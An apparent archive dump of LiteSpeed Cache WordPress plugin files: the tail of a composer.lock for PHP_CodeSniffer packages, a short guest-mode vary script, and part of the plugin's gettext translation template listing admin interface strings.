                "phpcsstandards/phpcsdevcs": "^1.1.6",
                "phpcsstandards/phpcsdevtools": "^1.2.1",
                "phpunit/phpunit": "^4.5 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.0"
            },
            "type": "phpcodesniffer-standard",
            "extra": {
                "branch-alias": {
                    "dev-stable": "1.x-dev",
                    "dev-develop": "1.x-dev"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Juliette Reinders Folmer",
                    "homepage": "https://github.com/jrfnl",
                    "role": "lead"
                },
                {
                    "name": "Contributors",
                    "homepage": "https://github.com/PHPCSStandards/PHPCSExtra/graphs/contributors"
                }
            ],
            "description": "A collection of sniffs and standards for use with PHP_CodeSniffer.",
            "keywords": [
                "PHP_CodeSniffer",
                "phpcbf",
                "phpcodesniffer-standard",
                "phpcs",
                "standards",
                "static analysis"
            ],
            "support": {
                "issues": "https://github.com/PHPCSStandards/PHPCSExtra/issues",
                "security": "https://github.com/PHPCSStandards/PHPCSExtra/security/policy",
                "source": "https://github.com/PHPCSStandards/PHPCSExtra"
            },
            "funding": [
                {
                    "url": "https://github.com/PHPCSStandards",
                    "type": "github"
                },
                {
                    "url": "https://github.com/jrfnl",
                    "type": "github"
                },
                {
                    "url": "https://opencollective.com/php_codesniffer",
                    "type": "open_collective"
                },
                {
                    "url": "https://thanks.dev/u/gh/phpcsstandards",
                    "type": "thanks_dev"
                }
            ],
            "time": "2025-04-20T23:35:32+00:00"
        },
        {
            "name": "phpcsstandards/phpcsutils",
            "version": "1.0.12",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPCSStandards/PHPCSUtils.git",
                "reference": "87b233b00daf83fb70f40c9a28692be017ea7c6c"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPCSStandards/PHPCSUtils/zipball/87b233b00daf83fb70f40c9a28692be017ea7c6c",
                "reference": "87b233b00daf83fb70f40c9a28692be017ea7c6c",
                "shasum": ""
            },
            "require": {
                "dealerdirect/phpcodesniffer-composer-installer": "^0.4.1 || ^0.5 || ^0.6.2 || ^0.7 || ^1.0",
                "php": ">=5.4",
                "squizlabs/php_codesniffer": "^3.10.0 || 4.0.x-dev@dev"
            },
            "require-dev": {
                "ext-filter": "*",
                "php-parallel-lint/php-console-highlighter": "^1.0",
                "php-parallel-lint/php-parallel-lint": "^1.3.2",
                "phpcsstandards/phpcsdevcs": "^1.1.6",
                "yoast/phpunit-polyfills": "^1.1.0 || ^2.0.0"
            },
            "type": "phpcodesniffer-standard",
            "extra": {
                "branch-alias": {
                    "dev-stable": "1.x-dev",
                    "dev-develop": "1.x-dev"
                }
            },
            "autoload": {
                "classmap": [
                    "PHPCSUtils/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Juliette Reinders Folmer",
                    "homepage": "https://github.com/jrfnl",
                    "role": "lead"
                },
                {
                    "name": "Contributors",
                    "homepage": "https://github.com/PHPCSStandards/PHPCSUtils/graphs/contributors"
                }
            ],
            "description": "A suite of utility functions for use with PHP_CodeSniffer",
            "homepage": "https://phpcsutils.com/",
            "keywords": [
                "PHP_CodeSniffer",
                "phpcbf",
                "phpcodesniffer-standard",
                "phpcs",
                "phpcs3",
                "standards",
                "static analysis",
                "tokens",
                "utility"
            ],
            "support": {
                "docs": "https://phpcsutils.com/",
                "issues": "https://github.com/PHPCSStandards/PHPCSUtils/issues",
                "security": "https://github.com/PHPCSStandards/PHPCSUtils/security/policy",
                "source": "https://github.com/PHPCSStandards/PHPCSUtils"
            },
            "funding": [
                {
                    "url": "https://github.com/PHPCSStandards",
                    "type": "github"
                },
                {
                    "url": "https://github.com/jrfnl",
                    "type": "github"
                },
                {
                    "url": "https://opencollective.com/php_codesniffer",
                    "type": "open_collective"
                }
            ],
            "time": "2024-05-20T13:34:27+00:00"
        },
        {
            "name": "squizlabs/php_codesniffer",
            "version": "3.13.0",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git",
                "reference": "65ff2489553b83b4597e89c3b8b721487011d186"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/65ff2489553b83b4597e89c3b8b721487011d186",
                "reference": "65ff2489553b83b4597e89c3b8b721487011d186",
                "shasum": ""
            },
            "require": {
                "ext-simplexml": "*",
                "ext-tokenizer": "*",
                "ext-xmlwriter": "*",
                "php": ">=5.4.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.3.4"
            },
            "bin": [
                "bin/phpcbf",
                "bin/phpcs"
            ],
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "3.x-dev"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-3-Clause"
            ],
            "authors": [
                {
                    "name": "Greg Sherwood",
                    "role": "Former lead"
                },
                {
                    "name": "Juliette Reinders Folmer",
                    "role": "Current lead"
                },
                {
                    "name": "Contributors",
                    "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer/graphs/contributors"
                }
            ],
            "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.",
            "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer",
            "keywords": [
                "phpcs",
                "standards",
                "static analysis"
            ],
            "support": {
                "issues": "https://github.com/PHPCSStandards/PHP_CodeSniffer/issues",
                "security": "https://github.com/PHPCSStandards/PHP_CodeSniffer/security/policy",
                "source": "https://github.com/PHPCSStandards/PHP_CodeSniffer",
                "wiki": "https://github.com/PHPCSStandards/PHP_CodeSniffer/wiki"
            },
            "funding": [
                {
                    "url": "https://github.com/PHPCSStandards",
                    "type": "github"
                },
                {
                    "url": "https://github.com/jrfnl",
                    "type": "github"
                },
                {
                    "url": "https://opencollective.com/php_codesniffer",
                    "type": "open_collective"
                },
                {
                    "url": "https://thanks.dev/u/gh/phpcsstandards",
                    "type": "thanks_dev"
                }
            ],
            "time": "2025-05-11T03:36:00+00:00"
        },
        {
            "name": "wp-coding-standards/wpcs",
            "version": "3.1.0",
            "source": {
                "type": "git",
                "url": "https://github.com/WordPress/WordPress-Coding-Standards.git",
                "reference": "9333efcbff231f10dfd9c56bb7b65818b4733ca7"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/WordPress/WordPress-Coding-Standards/zipball/9333efcbff231f10dfd9c56bb7b65818b4733ca7",
                "reference": "9333efcbff231f10dfd9c56bb7b65818b4733ca7",
                "shasum": ""
            },
            "require": {
                "ext-filter": "*",
                "ext-libxml": "*",
                "ext-tokenizer": "*",
                "ext-xmlreader": "*",
                "php": ">=5.4",
                "phpcsstandards/phpcsextra": "^1.2.1",
                "phpcsstandards/phpcsutils": "^1.0.10",
                "squizlabs/php_codesniffer": "^3.9.0"
            },
            "require-dev": {
                "php-parallel-lint/php-console-highlighter": "^1.0.0",
                "php-parallel-lint/php-parallel-lint": "^1.3.2",
                "phpcompatibility/php-compatibility": "^9.0",
                "phpcsstandards/phpcsdevtools": "^1.2.0",
                "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.0"
            },
            "suggest": {
                "ext-iconv": "For improved results",
                "ext-mbstring": "For improved results"
            },
            "type": "phpcodesniffer-standard",
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Contributors",
                    "homepage": "https://github.com/WordPress/WordPress-Coding-Standards/graphs/contributors"
                }
            ],
            "description": "PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions",
            "keywords": [
                "phpcs",
                "standards",
                "static analysis",
                "wordpress"
            ],
            "support": {
                "issues": "https://github.com/WordPress/WordPress-Coding-Standards/issues",
                "source": "https://github.com/WordPress/WordPress-Coding-Standards",
                "wiki": "https://github.com/WordPress/WordPress-Coding-Standards/wiki"
            },
            "funding": [
                {
                    "url": "https://opencollective.com/php_codesniffer",
                    "type": "custom"
                }
            ],
            "time": "2024-03-25T16:39:00+00:00"
        }
    ],
    "aliases": [],
    "minimum-stability": "stable",
    "stability-flags": {},
    "prefer-stable": true,
    "prefer-lowest": false,
    "platform": {},
    "platform-dev": {},
    "plugin-api-version": "2.6.0"
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/guest.vary.php000064400000000261151031165260017106 0ustar00<?php
/**
 * Lightweight script to update guest mode vary
 *
 * @since 4.1
 */

require 'lib/guest.cls.php';

$guest = new \LiteSpeed\Lib\Guest();

$guest->update_guest_vary();
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lang/litespeed-cache.pot000064400000457403151031165260020770 0ustar00# Copyright (C) 2025 LiteSpeed Technologies
# This file is distributed under the GPLv3.
msgid ""
msgstr ""
"Project-Id-Version: LiteSpeed Cache 7.5\n"
"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/litespeed-cache\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2025-09-10T14:42:22+00:00\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"X-Generator: WP-CLI 2.11.0\n"
"X-Domain: litespeed-cache\n"

#. Plugin Name of the plugin
#: litespeed-cache.php
#: tpl/banner/new_version.php:57
#: tpl/banner/new_version_dev.tpl.php:21
#: tpl/cache/more_settings_tip.tpl.php:28
#: tpl/esi_widget_edit.php:41
#: tpl/inc/admin_footer.php:17
msgid "LiteSpeed Cache"
msgstr ""

#. Plugin URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"
msgstr ""

#. Description of the plugin
#: litespeed-cache.php
msgid "High-performance page caching and site optimization from LiteSpeed"
msgstr ""

#. Author of the plugin
#: litespeed-cache.php
msgid "LiteSpeed Technologies"
msgstr ""

#. Author URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com"
msgstr ""

#: cli/crawler.cls.php:89
#: tpl/crawler/summary.tpl.php:39
msgid "%d hours"
msgstr ""

#: cli/crawler.cls.php:91
#: tpl/crawler/summary.tpl.php:39
msgid "%d hour"
msgstr ""

#: cli/crawler.cls.php:98
#: tpl/crawler/summary.tpl.php:47
msgid "%d minutes"
msgstr ""

#: cli/crawler.cls.php:100
#: tpl/crawler/summary.tpl.php:47
msgid "%d minute"
msgstr ""

#: cli/purge.cls.php:86
msgid "Purged All!"
msgstr ""

#: cli/purge.cls.php:133
msgid "Purged the blog!"
msgstr ""

#: cli/purge.cls.php:182
msgid "Purged the URL!"
msgstr ""

#: cli/purge.cls.php:234
msgid "Purged!"
msgstr ""

#: src/activation.cls.php:563
#: src/activation.cls.php:568
msgid "Failed to upgrade."
msgstr ""

#: src/activation.cls.php:572
msgid "Upgraded successfully."
msgstr ""

#: src/admin-display.cls.php:250
#: tpl/dash/entry.tpl.php:16
msgid "Dashboard"
msgstr ""

#: src/admin-display.cls.php:251
#: src/lang.cls.php:269
msgid "OptimaX"
msgstr ""

#: src/admin-display.cls.php:252
msgid "Presets"
msgstr ""

#: src/admin-display.cls.php:253
msgid "General"
msgstr ""

#: src/admin-display.cls.php:254
#: src/admin-display.cls.php:264
#: tpl/cache/entry.tpl.php:16
#: tpl/cache/entry_network.tpl.php:16
msgid "Cache"
msgstr ""

#: src/admin-display.cls.php:255
msgid "CDN"
msgstr ""

#: src/admin-display.cls.php:256
#: src/gui.cls.php:727
#: tpl/dash/dashboard.tpl.php:203
#: tpl/dash/network_dash.tpl.php:36
#: tpl/general/online.tpl.php:75
#: tpl/general/online.tpl.php:134
#: tpl/general/online.tpl.php:149
#: tpl/presets/standard.tpl.php:32
msgid "Image Optimization"
msgstr ""

#: src/admin-display.cls.php:257
#: tpl/dash/dashboard.tpl.php:204
#: tpl/dash/network_dash.tpl.php:37
#: tpl/general/online.tpl.php:83
#: tpl/general/online.tpl.php:133
#: tpl/general/online.tpl.php:148
msgid "Page Optimization"
msgstr ""

#: src/admin-display.cls.php:258
msgid "Database"
msgstr ""

#: src/admin-display.cls.php:259
#: src/lang.cls.php:249
msgid "Crawler"
msgstr ""

#: src/admin-display.cls.php:260
msgid "Toolbox"
msgstr ""

#: src/admin-display.cls.php:451
msgid "Cookie Name"
msgstr ""

#: src/admin-display.cls.php:452
#: tpl/crawler/settings.tpl.php:179
msgid "Cookie Values"
msgstr ""

#: src/admin-display.cls.php:454
msgid "Remove cookie simulation"
msgstr ""

#: src/admin-display.cls.php:455
msgid "Add new cookie to simulate"
msgstr ""

#: src/admin-display.cls.php:478
msgid "CDN URL to be used. For example, %s"
msgstr ""

#: src/admin-display.cls.php:480
msgid "Remove CDN URL"
msgstr ""

#: src/admin-display.cls.php:481
msgid "Add new CDN URL"
msgstr ""

#: src/admin-display.cls.php:482
#: src/admin-display.cls.php:1163
#: src/admin-display.cls.php:1193
#: src/admin-display.cls.php:1275
#: src/doc.cls.php:39
#: tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.cache_mobile.tpl.php:91
#: tpl/cdn/other.tpl.php:45
#: tpl/crawler/settings.tpl.php:138
#: tpl/dash/dashboard.tpl.php:67
#: tpl/dash/dashboard.tpl.php:459
#: tpl/dash/dashboard.tpl.php:581
#: tpl/dash/dashboard.tpl.php:610
#: tpl/page_optm/settings_css.tpl.php:220
#: tpl/page_optm/settings_media.tpl.php:176
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "ON"
msgstr ""

#: src/admin-display.cls.php:483
#: src/admin-display.cls.php:1164
#: src/admin-display.cls.php:1193
#: src/admin-display.cls.php:1275
#: tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.object.tpl.php:280
#: tpl/cdn/other.tpl.php:53
#: tpl/dash/dashboard.tpl.php:69
#: tpl/dash/dashboard.tpl.php:461
#: tpl/dash/dashboard.tpl.php:583
#: tpl/dash/dashboard.tpl.php:612
#: tpl/img_optm/settings.media_webp.tpl.php:22
#: tpl/page_optm/settings_css.tpl.php:93
#: tpl/page_optm/settings_js.tpl.php:77
#: tpl/page_optm/settings_media.tpl.php:180
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "OFF"
msgstr ""

#: src/admin-display.cls.php:544
#: src/gui.cls.php:718
#: tpl/crawler/entry.tpl.php:17
msgid "Settings"
msgstr ""

#: src/admin-display.cls.php:801
#: tpl/banner/new_version.php:114
#: tpl/banner/score.php:142
#: tpl/banner/slack.php:49
msgid "Dismiss"
msgstr ""

#: src/admin-display.cls.php:994
#: src/admin-display.cls.php:999
msgid "Save Changes"
msgstr ""

#: src/admin-display.cls.php:1289
msgid "This value is overwritten by the %s variable."
msgstr ""

#: src/admin-display.cls.php:1293
msgid "This value is overwritten by the filter."
msgstr ""

#: src/admin-display.cls.php:1296
msgid "This value is overwritten by the PHP constant %s."
msgstr ""

#: src/admin-display.cls.php:1300
msgid "This value is overwritten by the primary site setting."
msgstr ""

#: src/admin-display.cls.php:1302
msgid "This value is overwritten by the Network setting."
msgstr ""

#: src/admin-display.cls.php:1306
msgid "Currently set to %s"
msgstr ""

#: src/admin-display.cls.php:1319
msgid "Value from filter applied"
msgstr ""

#: src/admin-display.cls.php:1333
#: tpl/cache/settings_inc.object.tpl.php:162
#: tpl/crawler/settings.tpl.php:43
#: tpl/esi_widget_edit.php:78
msgid "seconds"
msgstr ""

#: src/admin-display.cls.php:1359
#: src/admin-display.cls.php:1378
#: tpl/cdn/other.tpl.php:108
msgid "Default value"
msgstr ""

#: src/admin-display.cls.php:1406
msgid "Invalid rewrite rule"
msgstr ""

#: src/admin-display.cls.php:1426
msgid "Path must end with %s"
msgstr ""

#: src/admin-display.cls.php:1446
msgid "Minimum value"
msgstr ""

#: src/admin-display.cls.php:1449
msgid "Maximum value"
msgstr ""

#: src/admin-display.cls.php:1461
msgid "Zero, or"
msgstr ""

#: src/admin-display.cls.php:1467
msgid "Larger than"
msgstr ""

#: src/admin-display.cls.php:1469
msgid "Smaller than"
msgstr ""

#: src/admin-display.cls.php:1472
msgid "Value range"
msgstr ""

#: src/admin-display.cls.php:1500
msgid "Invalid IP"
msgstr ""

#: src/admin-display.cls.php:1520
#: tpl/cache/settings-esi.tpl.php:103
#: tpl/page_optm/settings_css.tpl.php:87
#: tpl/page_optm/settings_css.tpl.php:223
#: tpl/page_optm/settings_html.tpl.php:131
#: tpl/page_optm/settings_media.tpl.php:258
#: tpl/page_optm/settings_media_exc.tpl.php:36
#: tpl/page_optm/settings_tuning.tpl.php:48
#: tpl/page_optm/settings_tuning.tpl.php:68
#: tpl/page_optm/settings_tuning.tpl.php:89
#: tpl/page_optm/settings_tuning.tpl.php:110
#: tpl/page_optm/settings_tuning.tpl.php:129
#: tpl/page_optm/settings_tuning_css.tpl.php:35
#: tpl/page_optm/settings_tuning_css.tpl.php:96
#: tpl/page_optm/settings_tuning_css.tpl.php:99
#: tpl/page_optm/settings_tuning_css.tpl.php:100
#: tpl/toolbox/edit_htaccess.tpl.php:61
#: tpl/toolbox/edit_htaccess.tpl.php:79
msgid "API"
msgstr ""

#. translators: %s: list of server variables in <code> tags
#: src/admin-display.cls.php:1523
msgid "Server variable(s) %s available to override this setting."
msgstr ""

#: src/admin-display.cls.php:1539
msgid "The URLs will be compared to the REQUEST_URI server variable."
msgstr ""

#. translators: 1: example URL, 2: pattern example
#: src/admin-display.cls.php:1541
msgid "For example, for %1$s, %2$s can be used here."
msgstr ""

#. translators: %s: caret symbol
#: src/admin-display.cls.php:1544
msgid "To match the beginning, add %s to the beginning of the item."
msgstr ""

#. translators: %s: dollar symbol
#: src/admin-display.cls.php:1546
msgid "To do an exact match, add %s to the end of the URL."
msgstr ""

#: src/admin-display.cls.php:1547
#: src/doc.cls.php:108
msgid "One per line."
msgstr ""

#: src/admin-display.cls.php:1564
msgid "%s groups"
msgstr ""

#: src/admin-display.cls.php:1567
msgid "%s images"
msgstr ""

#: src/admin-display.cls.php:1576
msgid "%s group"
msgstr ""

#: src/admin-display.cls.php:1579
msgid "%s image"
msgstr ""

#: src/admin-settings.cls.php:40
#: src/admin-settings.cls.php:313
msgid "No fields"
msgstr ""

#: src/admin-settings.cls.php:104
msgid "The user with id %s has editor access, which is not allowed for the role simulator."
msgstr ""

#: src/admin-settings.cls.php:297
#: src/admin-settings.cls.php:333
msgid "Options saved."
msgstr ""

#: src/cdn/cloudflare.cls.php:121
msgid "Notified Cloudflare to set development mode to %s successfully."
msgstr ""

#: src/cdn/cloudflare.cls.php:151
msgid "Cloudflare API is set to off."
msgstr ""

#: src/cdn/cloudflare.cls.php:167
msgid "Notified Cloudflare to purge all successfully."
msgstr ""

#: src/cdn/cloudflare.cls.php:181
msgid "No available Cloudflare zone"
msgstr ""

#: src/cdn/cloudflare.cls.php:275
#: src/cdn/cloudflare.cls.php:297
msgid "Failed to communicate with Cloudflare"
msgstr ""

#: src/cdn/cloudflare.cls.php:288
msgid "Communicated with Cloudflare successfully."
msgstr ""

#: src/cloud.cls.php:170
#: src/cloud.cls.php:250
msgid "QUIC.cloud's access to your WP REST API seems to be blocked."
msgstr ""

#: src/cloud.cls.php:180
#: src/cloud.cls.php:260
msgid "Failed to get echo data from WPAPI"
msgstr ""

#: src/cloud.cls.php:238
#: src/cloud.cls.php:290
msgid "You need to set the %1$s first. Please use the command %2$s to set."
msgstr ""

#: src/cloud.cls.php:239
#: src/cloud.cls.php:291
#: src/lang.cls.php:85
msgid "Server IP"
msgstr ""

#: src/cloud.cls.php:282
#: src/cloud.cls.php:328
#: src/cloud.cls.php:355
#: src/cloud.cls.php:371
#: src/cloud.cls.php:390
#: src/cloud.cls.php:408
msgid "You need to activate QC first."
msgstr ""

#: src/cloud.cls.php:300
msgid "Cert or key file does not exist."
msgstr ""

#: src/cloud.cls.php:559
msgid "Failed to validate %s activation data."
msgstr ""

#: src/cloud.cls.php:566
msgid "Failed to parse %s activation status."
msgstr ""

#: src/cloud.cls.php:573
msgid "%s activation data expired."
msgstr ""

#: src/cloud.cls.php:595
msgid "Congratulations, %s successfully set this domain up for the anonymous online services."
msgstr ""

#: src/cloud.cls.php:597
msgid "Congratulations, %s successfully set this domain up for the online services."
msgstr ""

#: src/cloud.cls.php:602
#: src/cloud.cls.php:640
#: src/cloud.cls.php:680
msgid "Congratulations, %s successfully set this domain up for the online services with CDN service."
msgstr ""

#: src/cloud.cls.php:708
msgid "Reset %s activation successfully."
msgstr ""

#: src/cloud.cls.php:978
#: src/cloud.cls.php:991
#: src/cloud.cls.php:1029
#: src/cloud.cls.php:1095
#: src/cloud.cls.php:1236
msgid "Cloud Error"
msgstr ""

#: src/cloud.cls.php:1029
msgid "No available Cloud Node after checked server load."
msgstr ""

#: src/cloud.cls.php:1095
msgid "No available Cloud Node."
msgstr ""

#: src/cloud.cls.php:1190
msgid "In order to use QC services, need a real domain name, cannot use an IP."
msgstr ""

#: src/cloud.cls.php:1239
msgid "Please try after %1$s for service %2$s."
msgstr ""

#: src/cloud.cls.php:1435
#: src/cloud.cls.php:1458
msgid "Failed to request via WordPress"
msgstr ""

#: src/cloud.cls.php:1490
msgid "Cloud server refused the current request due to unpulled images. Please pull the images first."
msgstr ""

#: src/cloud.cls.php:1495
msgid "Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more."
msgstr ""

#: src/cloud.cls.php:1502
msgid "Cloud server refused the current request due to rate limiting. Please try again later."
msgstr ""

#: src/cloud.cls.php:1510
msgid "Redetected node"
msgstr ""

#: src/cloud.cls.php:1518
msgid "We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience."
msgstr ""

#: src/cloud.cls.php:1563
#: src/cloud.cls.php:1571
msgid "Message from QUIC.cloud server"
msgstr ""

#: src/cloud.cls.php:1579
msgid "Good news from QUIC.cloud server"
msgstr ""

#: src/cloud.cls.php:1589
msgid "%1$s plugin version %2$s required for this action."
msgstr ""

#: src/cloud.cls.php:1656
msgid "Failed to communicate with QUIC.cloud server"
msgstr ""

#: src/cloud.cls.php:1709
msgid "Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account."
msgstr ""

#: src/cloud.cls.php:1710
msgid "Click here to proceed."
msgstr ""

#: src/cloud.cls.php:1977
msgid "Linked to QUIC.cloud preview environment, for testing purpose only."
msgstr ""

#: src/cloud.cls.php:2029
msgid "Sync QUIC.cloud status successfully."
msgstr ""

#: src/cloud.cls.php:2036
msgid "Sync credit allowance with Cloud Server successfully."
msgstr ""

#: src/conf.cls.php:509
msgid "Saving option failed. IPv4 only for %s."
msgstr ""

#: src/conf.cls.php:683
msgid "Changed setting successfully."
msgstr ""

#: src/core.cls.php:334
msgid "Notified LiteSpeed Web Server to purge everything."
msgstr ""

#: src/core.cls.php:339
msgid "Notified LiteSpeed Web Server to purge the list."
msgstr ""

#: src/crawler-map.cls.php:280
msgid "Sitemap cleaned successfully"
msgstr ""

#: src/crawler-map.cls.php:372
msgid "No valid sitemap parsed for crawler."
msgstr ""

#: src/crawler-map.cls.php:377
msgid "Sitemap created successfully: %d items"
msgstr ""

#: src/crawler.cls.php:145
msgid "Crawler disabled list is cleared! All crawlers are set to active! "
msgstr ""

#: src/crawler.cls.php:230
msgid "Started async crawling"
msgstr ""

#: src/crawler.cls.php:1236
msgid "Guest"
msgstr ""

#: src/crawler.cls.php:1407
msgid "Manually added to blocklist"
msgstr ""

#: src/crawler.cls.php:1410
msgid "Previously existed in blocklist"
msgstr ""

#: src/data.cls.php:214
msgid "The database has been upgrading in the background since %s. This message will disappear once upgrade is complete."
msgstr ""

#: src/db-optm.cls.php:142
msgid "Clean all successfully."
msgstr ""

#: src/db-optm.cls.php:199
msgid "Clean post revisions successfully."
msgstr ""

#: src/db-optm.cls.php:203
msgid "Clean orphaned post meta successfully."
msgstr ""

#: src/db-optm.cls.php:207
msgid "Clean auto drafts successfully."
msgstr ""

#: src/db-optm.cls.php:211
msgid "Clean trashed posts and pages successfully."
msgstr ""

#: src/db-optm.cls.php:215
msgid "Clean spam comments successfully."
msgstr ""

#: src/db-optm.cls.php:219
msgid "Clean trashed comments successfully."
msgstr ""

#: src/db-optm.cls.php:223
msgid "Clean trackbacks and pingbacks successfully."
msgstr ""

#: src/db-optm.cls.php:227
msgid "Clean expired transients successfully."
msgstr ""

#: src/db-optm.cls.php:231
msgid "Clean all transients successfully."
msgstr ""

#: src/db-optm.cls.php:241
msgid "Optimized all tables."
msgstr ""

#: src/db-optm.cls.php:291
msgid "Converted to InnoDB successfully."
msgstr ""

#: src/doc.cls.php:38
msgid "This setting is %1$s for certain qualifying requests due to %2$s!"
msgstr ""

#: src/doc.cls.php:54
msgid "This setting will regenerate crawler list and clear the disabled list!"
msgstr ""

#: src/doc.cls.php:65
msgid "This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily."
msgstr ""

#: src/doc.cls.php:70
msgid "Please see %s for more details."
msgstr ""

#: src/doc.cls.php:87
#: src/doc.cls.php:139
#: tpl/dash/dashboard.tpl.php:186
#: tpl/dash/dashboard.tpl.php:845
#: tpl/general/online.tpl.php:81
#: tpl/general/online.tpl.php:93
#: tpl/general/online.tpl.php:109
#: tpl/general/online.tpl.php:114
#: tpl/img_optm/summary.tpl.php:59
#: tpl/inc/check_cache_disabled.php:46
#: tpl/page_optm/settings_media.tpl.php:301
msgid "Learn More"
msgstr ""

#: src/doc.cls.php:123
msgid "Both full and partial strings can be used."
msgstr ""

#: src/doc.cls.php:125
msgid "Both full URLs and partial strings can be used."
msgstr ""

#: src/doc.cls.php:137
msgid "This setting will edit the .htaccess file."
msgstr ""

#: src/doc.cls.php:153
msgid "The queue is processed asynchronously. It may take time."
msgstr ""

#: src/error.cls.php:69
msgid "You will need to finish %s setup to use the online services."
msgstr ""

#: src/error.cls.php:74
#: tpl/crawler/settings.tpl.php:123
#: tpl/crawler/settings.tpl.php:144
#: tpl/crawler/summary.tpl.php:218
msgid "Click here to set."
msgstr ""

#: src/error.cls.php:82
msgid "You have used all of your daily quota for today."
msgstr ""

#: src/error.cls.php:87
#: src/error.cls.php:100
msgid "Learn more or purchase additional quota."
msgstr ""

#: src/error.cls.php:95
msgid "You have used all of your quota left for current service this month."
msgstr ""

#: src/error.cls.php:108
msgid "You have too many requested images, please try again in a few minutes."
msgstr ""

#: src/error.cls.php:112
msgid "You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now."
msgstr ""

#: src/error.cls.php:116
msgid "The image list is empty."
msgstr ""

#: src/error.cls.php:120
msgid "Not enough parameters. Please check if the QUIC.cloud connection is set correctly"
msgstr ""

#: src/error.cls.php:124
msgid "There is proceeding queue not pulled yet."
msgstr ""

#: src/error.cls.php:129
msgid "There is proceeding queue not pulled yet. Queue info: %s."
msgstr ""

#: src/error.cls.php:135
msgid "The site is not a valid alias on QUIC.cloud."
msgstr ""

#: src/error.cls.php:139
msgid "The site is not registered on QUIC.cloud."
msgstr ""

#: src/error.cls.php:143
msgid "The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again."
msgstr ""

#: src/error.cls.php:147
msgid "The current server is under heavy load."
msgstr ""

#: src/error.cls.php:151
msgid "Online node needs to be redetected."
msgstr ""

#: src/error.cls.php:155
msgid "Credits are not enough to proceed the current request."
msgstr ""

#: src/error.cls.php:159
#: src/error.cls.php:183
msgid "%s file not writable."
msgstr ""

#: src/error.cls.php:167
msgid "Could not find %1$s in %2$s."
msgstr ""

#: src/error.cls.php:171
msgid "Invalid login cookie. Please check the %s file."
msgstr ""

#: src/error.cls.php:175
msgid "Failed to back up %s file, aborted changes."
msgstr ""

#: src/error.cls.php:179
msgid "%s file not readable."
msgstr ""

#: src/error.cls.php:187
msgid "Failed to get %s file contents."
msgstr ""

#: src/error.cls.php:191
msgid "Failed to create table %1$s! SQL: %2$s."
msgstr ""

#: src/error.cls.php:195
msgid "Crawler disabled by the server admin."
msgstr ""

#: src/error.cls.php:199
msgid "Previous request too recent. Please try again later."
msgstr ""

#: src/error.cls.php:204
msgid "Previous request too recent. Please try again after %s."
msgstr ""

#: src/error.cls.php:210
msgid "Your application is waiting for approval."
msgstr ""

#: src/error.cls.php:214
msgid "The callback validation to your domain failed due to hash mismatch."
msgstr ""

#: src/error.cls.php:218
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers."
msgstr ""

#: src/error.cls.php:223
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: "
msgstr ""

#: src/error.cls.php:228
msgid "Your domain has been forbidden from using our services due to a previous policy violation."
msgstr ""

#: src/error.cls.php:232
msgid "You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible."
msgstr ""

#: src/error.cls.php:239
msgid "Unknown error"
msgstr ""

#: src/file.cls.php:133
msgid "Filename is empty!"
msgstr ""

#: src/file.cls.php:142
msgid "Folder does not exist: %s"
msgstr ""

#: src/file.cls.php:154
msgid "Can not create folder: %1$s. Error: %2$s"
msgstr ""

#: src/file.cls.php:162
msgid "Folder is not writable: %s."
msgstr ""

#: src/file.cls.php:168
#: src/file.cls.php:172
msgid "File %s is not writable."
msgstr ""

#: src/file.cls.php:179
msgid "Failed to write to %s."
